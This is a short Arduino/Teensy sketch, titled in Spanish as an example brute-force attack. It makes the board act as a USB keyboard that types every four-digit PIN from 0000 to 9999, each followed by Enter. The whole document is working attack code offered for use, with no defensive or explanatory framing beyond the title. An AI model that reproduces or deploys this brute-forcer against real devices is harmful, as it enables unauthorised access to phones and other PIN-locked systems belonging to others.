Código de Arduino - Ejemplo de ataque por fuerza bruta, tensy

#include <keyboard.h>

//by Guajardo Pandiella

int counter = 0;

char cadena[]={'0','1','2','3','4','5','6','7','8','9'};

void setup() {

  // put your setup code here, to run once: 

}

void loop() {

  keyboard_modifier_keys = 0;

 if (counter <= 9999){

    for (int i1=0; i1 <= 9; i1++){

      for (int i2=0; i2 <= 9; i2++){

        for (int i3=0; i3 <= 9; i3++){

          for (int i4=0; i4 <= 9; i4++){

                Keyboard.press(cadena[i1]);

                delay(200);

                Keyboard.release(cadena[i1]);

                delay(200);

                Keyboard.press(cadena[i2]);

                delay(200);

                Keyboard.release(cadena[i2]);

                delay(200);

                Keyboard.press(cadena[i3]);

                delay(200);

                Keyboard.release(cadena[i3]);

                delay(200);

                Keyboard.press(cadena[i4]);

                delay(200);

                Keyboard.release(cadena[i4]);

                delay(200);

                  //sending enter

                Keyboard.press(KEY_ENTER);

                delay(305);

                Keyboard.release(KEY_ENTER);

            }

          }

        }

      }

  }

  ++counter;

}